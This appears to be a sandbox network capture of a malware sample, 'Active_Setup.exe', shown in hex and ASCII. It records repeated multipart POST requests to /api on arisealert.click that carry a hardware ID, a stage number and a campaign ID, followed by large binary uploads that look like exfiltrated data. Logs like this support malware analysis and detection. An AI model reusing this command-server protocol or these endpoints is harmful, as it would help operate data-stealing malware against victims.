2024-12-31 16:11:29 UTC	1369	IN	Data Raw: 33 32 61 31 0d 0a 44 2b 54 45 47 61 32 58 35 66 72 66 57 4f 5a 67 54 4a 72 45 54 30 50 57 51 4f 44 64 76 47 71 52 50 2b 38 4d 6a 68 4a 72 4e 75 5a 66 70 4e 51 6f 36 4a 71 69 72 4e 46 41 75 32 35 55 73 63 52 66 51 36 34 4e 73 74 66 36 4d 63 63 4a 71 7a 79 2b 4f 33 6f 68 72 6e 61 7a 6b 41 50 6b 6e 75 66 43 6c 42 53 7a 62 6b 4c 49 67 6c 64 62 77 51 32 79 79 36 73 70 33 32 7a 36 61 65 56 76 4f 32 43 78 52 2f 71 50 52 76 58 4f 2f 62 37 52 51 4b 5a 75 56 4d 6a 44 46 42 47 44 52 66 48 5a 75 53 36 35 41 71 73 6b 76 54 4e 6e 4d 64 31 6d 6d 70 73 48 34 49 44 6e 33 59 6b 4e 70 43 30 4a 6a 37 6f 70 44 5a 5a 58 39 63 47 38 61 63 64 79 36 44 33 77 5a 46 56 77 71 78 69 4c 32 45 62 37 7a 76 32 73 71 67 4f 36 49 41 75 65 6c 56 6f 67 68 30 37 39 78 4c 73 70 79 58 79 75 63 Data Ascii: 32a1D+TEGa2X5frfWOZgTJrET0PWQODdvGqRP+8MjhJrNuZfpNQo6JqirNFAu25UscRfQ64Nstf6MccJqzy+O3ohrnazkAPknufClBSzbkLIgldbwQ2yy6sp32z6aeVvO2CxR/qPRvXO/b7RQKZuVMjDFBGDRfHZuS65AqskvTNnMd1mmpsH4IDn3YkNpC0Jj7opDZZX9cG8acdy6D3wZFVwqxiL2Eb7zv2sqgO6IAuelVogh079xLspyXyuc
2024-12-31 16:11:29 UTC	1369	IN	Data Raw: 32 34 45 36 33 30 54 6a 64 71 61 76 72 6e 68 61 6b 49 77 43 70 68 77 59 4a 72 33 33 6e 7a 4c 52 6e 67 43 71 35 63 76 35 38 59 33 43 37 59 66 54 65 52 74 7a 41 35 66 54 66 57 50 51 62 44 34 61 4b 45 42 57 41 44 74 58 42 76 57 69 52 4c 4b 55 2b 6b 54 39 39 4f 71 4d 57 39 4a 42 47 75 39 7a 72 72 4a 73 52 39 48 5a 63 32 74 39 43 55 4d 59 54 6f 4e 44 30 63 4d 63 71 36 47 72 69 63 69 77 69 6f 77 44 30 30 51 58 78 6e 4b 50 76 69 51 50 7a 45 44 4b 74 6b 78 51 54 6c 30 44 4d 38 5a 46 6c 67 54 75 79 4e 62 59 61 54 48 43 74 47 4c 76 57 58 74 72 4f 37 61 79 67 54 76 51 32 54 4e 44 45 49 67 43 66 54 66 58 5a 71 79 53 69 4b 36 73 69 74 6a 38 73 66 71 4e 65 39 4d 35 57 72 63 36 68 2f 64 39 59 35 48 78 58 33 64 64 41 55 38 4e 63 76 4e 62 36 66 38 64 6b 2b 6e 7a 77 4c 69 Data Ascii: 24E630TjdqavrnhakIwCphwYJr33nzLRngCq5cv58Y3C7YfTeRtzA5fTfWPQbD4aKEBWADtXBvWiRLKU+kT99OqMW9JBGu9zrrJsR9HZc2t9CUMYToND0cMcq6GriciwiowD00QXxnKPviQPzEDKtkxQTl0DM8ZFlgTuyNbYaTHCtGLvWXtrO7aygTvQ2TNDEIgCfTfXZqySiK6sitj8sfqNe9M5Wrc6h/d9Y5HxX3ddAU8NcvNb6f8dk+nzwLi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49717	104.21.52.90	443	7284	C:\Users\user\Desktop\Active_Setup.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 16:11:29 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=GHKQBVEA3YSJPWMTH User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12837 Host: arisealert.click
2024-12-31 16:11:29 UTC	12837	OUT	Data Raw: 2d 2d 47 48 4b 51 42 56 45 41 33 59 53 4a 50 57 4d 54 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 34 32 34 36 32 44 38 43 33 44 36 46 42 43 42 37 32 36 37 31 45 34 34 44 38 34 32 30 32 39 41 0d 0a 2d 2d 47 48 4b 51 42 56 45 41 33 59 53 4a 50 57 4d 54 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 47 48 4b 51 42 56 45 41 33 59 53 4a 50 57 4d 54 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 5a 49 4e 41 0d 0a 2d 2d Data Ascii: --GHKQBVEA3YSJPWMTHContent-Disposition: form-data; name="hwid"A42462D8C3D6FBCB72671E44D842029A--GHKQBVEA3YSJPWMTHContent-Disposition: form-data; name="pid"2--GHKQBVEA3YSJPWMTHContent-Disposition: form-data; name="lid"hRjzG3--ZINA--
2024-12-31 16:11:30 UTC	1124	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 16:11:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=nqi0fusv596ao8fkaivbv639i4; expires=Sat, 26 Apr 2025 09:58:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CH31QP45WrWH5vET0mkLbJ%2Ff7xiTDHHVBZJK0840hkL2oMGRW2gxnojQAUzD5xMcmKbrcSSUrdOYd1TUpSHsfKp9oxyRZEV06Qz%2BZYd1QPcAwByJ5%2FRU96ZozGTc4CdFyqCv"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fab8bb7ed1d19c7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1893&min_rtt=1878&rtt_var=735&sent=9&recv=18&lost=0&retrans=0&sent_bytes=2841&recv_bytes=13776&delivery_rate=1459270&cwnd=146&unsent_bytes=0&cid=9ca986be4db65135&ts=693&x=0"
2024-12-31 16:11:30 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-31 16:11:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49728	104.21.52.90	443	7284	C:\Users\user\Desktop\Active_Setup.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 16:11:31 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=ITAQ07GQIFIB User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15039 Host: arisealert.click
2024-12-31 16:11:31 UTC	15039	OUT	Data Raw: 2d 2d 49 54 41 51 30 37 47 51 49 46 49 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 34 32 34 36 32 44 38 43 33 44 36 46 42 43 42 37 32 36 37 31 45 34 34 44 38 34 32 30 32 39 41 0d 0a 2d 2d 49 54 41 51 30 37 47 51 49 46 49 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 49 54 41 51 30 37 47 51 49 46 49 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 5a 49 4e 41 0d 0a 2d 2d 49 54 41 51 30 37 47 51 49 46 49 42 0d 0a 43 Data Ascii: --ITAQ07GQIFIBContent-Disposition: form-data; name="hwid"A42462D8C3D6FBCB72671E44D842029A--ITAQ07GQIFIBContent-Disposition: form-data; name="pid"2--ITAQ07GQIFIBContent-Disposition: form-data; name="lid"hRjzG3--ZINA--ITAQ07GQIFIBC
2024-12-31 16:11:31 UTC	1124	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 16:11:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=btothoaa1ook71elj1k64e7j0n; expires=Sat, 26 Apr 2025 09:58:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=41%2F656TbpEqbXFuNUlEM3DEbFm1g8CMHfxBD0bTEOTnMPimGrlKPPMjB5gmBHKE1Jsh4a%2FJgnMo2ugYZMcZf4h9pkMJyqtsDo%2FYshyDWhyvCS0u7wQwWOaPnaPvWOEWtZtrM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fab8bbf9c7f424d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1710&min_rtt=1704&rtt_var=652&sent=9&recv=19&lost=0&retrans=0&sent_bytes=2839&recv_bytes=15973&delivery_rate=1661923&cwnd=208&unsent_bytes=0&cid=04191b61b1aadbe7&ts=807&x=0"
2024-12-31 16:11:31 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-31 16:11:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49738	104.21.52.90	443	7284	C:\Users\user\Desktop\Active_Setup.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 16:11:32 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=LYF7K176PMJ6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20364 Host: arisealert.click
2024-12-31 16:11:32 UTC	15331	OUT	Data Raw: 2d 2d 4c 59 46 37 4b 31 37 36 50 4d 4a 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 34 32 34 36 32 44 38 43 33 44 36 46 42 43 42 37 32 36 37 31 45 34 34 44 38 34 32 30 32 39 41 0d 0a 2d 2d 4c 59 46 37 4b 31 37 36 50 4d 4a 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4c 59 46 37 4b 31 37 36 50 4d 4a 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 5a 49 4e 41 0d 0a 2d 2d 4c 59 46 37 4b 31 37 36 50 4d 4a 36 0d 0a 43 Data Ascii: --LYF7K176PMJ6Content-Disposition: form-data; name="hwid"A42462D8C3D6FBCB72671E44D842029A--LYF7K176PMJ6Content-Disposition: form-data; name="pid"3--LYF7K176PMJ6Content-Disposition: form-data; name="lid"hRjzG3--ZINA--LYF7K176PMJ6C
2024-12-31 16:11:32 UTC	5033	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 36 d7 17 05 4b db 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e6 fa a3 60 69 db 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 db 5c 5f 14 2c 6d fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 9b eb 8f 82 a5 6d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 73 7d 51 b0 b4 ed a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 6d ae 2f f8 f5 58 32 78 29 1e bc 14 fc db e0 ab e6 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 6K~`iO\_,mi`m?ls}Qm/X2x)
2024-12-31 16:11:35 UTC	1126	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 16:11:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jp5poufdd0hejj42i8o75sqtjh; expires=Sat, 26 Apr 2025 09:58:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vcHSonS7w89MAjxfI%2Fwe3OOfLOQHRoNahPYkmFBa3H7Z%2BsRXodhQmOEMdQB17S7cvoKlBmXEVXI8LKqvanvwGBqvv7dpzm6vyDMUnAHMdN%2Bp7Yy4kFOGO0Ailo4YM1FLpaDv"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fab8bc88ec51895-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1693&min_rtt=1685&rtt_var=649&sent=11&recv=25&lost=0&retrans=0&sent_bytes=2840&recv_bytes=21320&delivery_rate=1665715&cwnd=185&unsent_bytes=0&cid=4b6fc135ed617975&ts=2655&x=0"
2024-12-31 16:11:35 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-31 16:11:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49767	104.21.52.90	443	7284	C:\Users\user\Desktop\Active_Setup.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 16:11:36 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=DVG2QPFQM User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 3767 Host: arisealert.click
2024-12-31 16:11:36 UTC	3767	OUT	Data Raw: 2d 2d 44 56 47 32 51 50 46 51 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 34 32 34 36 32 44 38 43 33 44 36 46 42 43 42 37 32 36 37 31 45 34 34 44 38 34 32 30 32 39 41 0d 0a 2d 2d 44 56 47 32 51 50 46 51 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 44 56 47 32 51 50 46 51 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 5a 49 4e 41 0d 0a 2d 2d 44 56 47 32 51 50 46 51 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f Data Ascii: --DVG2QPFQMContent-Disposition: form-data; name="hwid"A42462D8C3D6FBCB72671E44D842029A--DVG2QPFQMContent-Disposition: form-data; name="pid"1--DVG2QPFQMContent-Disposition: form-data; name="lid"hRjzG3--ZINA--DVG2QPFQMContent-Dispo
2024-12-31 16:11:39 UTC	1138	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 16:11:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=j8q9sq1h7dbhm09d9gh1rsd6f5; expires=Sat, 26 Apr 2025 09:58:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FOmmIfyUbuhOjzDQUixhneLIYtQ%2BQj7VMJl5PPVGA%2BIbrCeJrznVnW%2FBkyFy5m3t3ul5Nsg8g9VGANw7Hiyk82HgHSiWRs0ZaW6rmm%2FurVUnhVCFBo6%2BoGd7OxnC%2B%2F6diyV%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fab8be3ee1680cd-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=17380&min_rtt=1742&rtt_var=10059&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2839&recv_bytes=4675&delivery_rate=1676234&cwnd=178&unsent_bytes=0&cid=15eb248c052009e9&ts=3028&x=0"
2024-12-31 16:11:39 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-31 16:11:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49793	104.21.52.90	443	7284	C:\Users\user\Desktop\Active_Setup.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 16:11:40 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SJ7SCQJLEIL3N7RV User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1221 Host: arisealert.click
2024-12-31 16:11:40 UTC	1221	OUT	Data Raw: 2d 2d 53 4a 37 53 43 51 4a 4c 45 49 4c 33 4e 37 52 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 34 32 34 36 32 44 38 43 33 44 36 46 42 43 42 37 32 36 37 31 45 34 34 44 38 34 32 30 32 39 41 0d 0a 2d 2d 53 4a 37 53 43 51 4a 4c 45 49 4c 33 4e 37 52 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 53 4a 37 53 43 51 4a 4c 45 49 4c 33 4e 37 52 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 5a 49 4e 41 0d 0a 2d 2d 53 4a 37 Data Ascii: --SJ7SCQJLEIL3N7RVContent-Disposition: form-data; name="hwid"A42462D8C3D6FBCB72671E44D842029A--SJ7SCQJLEIL3N7RVContent-Disposition: form-data; name="pid"1--SJ7SCQJLEIL3N7RVContent-Disposition: form-data; name="lid"hRjzG3--ZINA--SJ7
2024-12-31 16:11:40 UTC	1118	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 16:11:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mbr9p2q3utfa6r0tjl9ejua8d3; expires=Sat, 26 Apr 2025 09:58:19 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XO4DhaTftRq6G8S74HXd4lPR3DloeuFByeEPX8vEn31eEu5hc25nZXlnzsP7gHOxMhFTsFEjy68h7x5yM77HSSzLZ2s2wtTxFNIwIQCgdWb5ZyyEvQxYAaYp9Dwxi63nRx%2FE"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fab8bfa4cce41d2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1730&min_rtt=1728&rtt_var=652&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2841&recv_bytes=2136&delivery_rate=1672394&cwnd=251&unsent_bytes=0&cid=690e0e8886ffe695&ts=447&x=0"
2024-12-31 16:11:40 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-31 16:11:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49805	104.21.52.90	443	7284	C:\Users\user\Desktop\Active_Setup.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 16:11:42 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=9WNBR3W6VGC User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 552091 Host: arisealert.click
2024-12-31 16:11:42 UTC	15331	OUT	Data Raw: 2d 2d 39 57 4e 42 52 33 57 36 56 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 34 32 34 36 32 44 38 43 33 44 36 46 42 43 42 37 32 36 37 31 45 34 34 44 38 34 32 30 32 39 41 0d 0a 2d 2d 39 57 4e 42 52 33 57 36 56 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 39 57 4e 42 52 33 57 36 56 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 5a 49 4e 41 0d 0a 2d 2d 39 57 4e 42 52 33 57 36 56 47 43 0d 0a 43 6f 6e 74 65 Data Ascii: --9WNBR3W6VGCContent-Disposition: form-data; name="hwid"A42462D8C3D6FBCB72671E44D842029A--9WNBR3W6VGCContent-Disposition: form-data; name="pid"1--9WNBR3W6VGCContent-Disposition: form-data; name="lid"hRjzG3--ZINA--9WNBR3W6VGCConte
2024-12-31 16:11:42 UTC	15331	OUT	Data Raw: ae 21 f9 7d 19 44 85 d4 93 8a 3a 28 c6 43 4a 1b 73 16 43 d1 80 1e b3 54 fd d4 84 b1 b8 54 9b 71 ce 09 62 18 48 21 98 f6 72 4a a6 43 1e 0e c4 a6 71 6e 9b 1a c6 89 66 3b 54 f0 c8 b6 c1 14 d1 dd 32 0d aa 1f e7 63 5a 44 d9 7f 46 4c c1 1e 29 da e5 6d 28 76 74 8f 5a ca 8f 8e 4b db 5d d7 65 23 82 13 b4 a8 55 d0 f1 02 37 28 ab 7d bb db cd 83 f7 c6 1b fc 10 5d 8f 93 b4 d4 ac b7 18 5b 23 bf a1 38 ab bf 5a 7a ca f8 84 85 83 14 85 c4 c8 42 44 e5 aa c6 6c de 0a f0 3b 40 55 86 82 08 60 66 00 cd e2 d8 8e 5e fe d3 34 b4 4c ce 0e 22 4d 34 d6 7f 4e 69 e3 4e 18 dd 7c df 2d 11 1b 70 a9 35 35 d2 34 22 7c 80 e7 ec 41 2a 44 9a eb bf ff cc f2 8c ce d5 15 c8 a5 d3 b2 3e 33 b2 fe e7 87 1b 3c 1b 66 2d 8a 54 85 b1 d1 a2 89 a9 1c 46 52 67 12 db db d1 7c bc 2e 9e 2b b2 e8 cd 43 92 83 Data Ascii: !}D:(CJsCTTqbH!rJCqnf;T2cZDFL)m(vtZK]e#U7(}][#8ZzBDl;@U`f^4L"M4NiN\|-p554"\|A*D>3<f-TFRg\|.+C
2024-12-31 16:11:42 UTC	15331	OUT	Data Raw: 84 ef ff 9b 70 8c bf e1 63 b3 e0 02 c8 25 aa a7 9d d9 4e 01 45 66 0c 2a 3f 38 3c 7f e6 8c 41 bc be 3a 36 f4 5f ce 42 88 af 13 0d 3a c0 fa 03 a2 da 8e 8f 97 7c 94 7f f2 a7 60 c9 45 f1 3d 05 a2 d0 45 d0 ea 26 fb e0 f7 bf 2b f6 79 92 e7 b6 d1 cc ee 3f 89 5a c0 27 41 90 c2 07 ed e1 15 5c 01 d7 47 9c 6e ee 9c 9a 67 37 fd a3 49 5c 81 62 b7 02 f8 57 46 a3 40 32 02 de 77 e2 3e 46 68 22 de a6 4b 52 79 2b d7 4f a8 80 cc 30 44 d5 2c 5e 3b 4a 4a 87 67 f1 a5 48 92 56 1b 1b a8 b2 99 85 ac 65 85 34 ac 94 68 76 bd ef b4 06 f7 13 5e bd 83 97 47 b1 40 98 7b eb e5 fb 8b 98 d4 25 a5 9b 3d 78 0d 57 60 02 e8 4a 89 99 99 0d 46 15 28 0f 4c ea d4 50 94 1d 62 d3 75 6c df 2b 4c ed 74 ad e5 fc 51 1f 1d 53 de 65 eb 8a 1a 97 2f b8 84 7f f1 99 21 fe 9e 99 f6 f6 1f 21 3d b6 2f 57 61 d1 Data Ascii: pc%NEf*?8<A:6_B:\|`E=E&+y?Z'A\Gng7I\bWF@2w>Fh"KRy+O0D,^;JJgHVe4hv^G@{%=xW`JF(LPbul+LtQSe/!!=/Wa
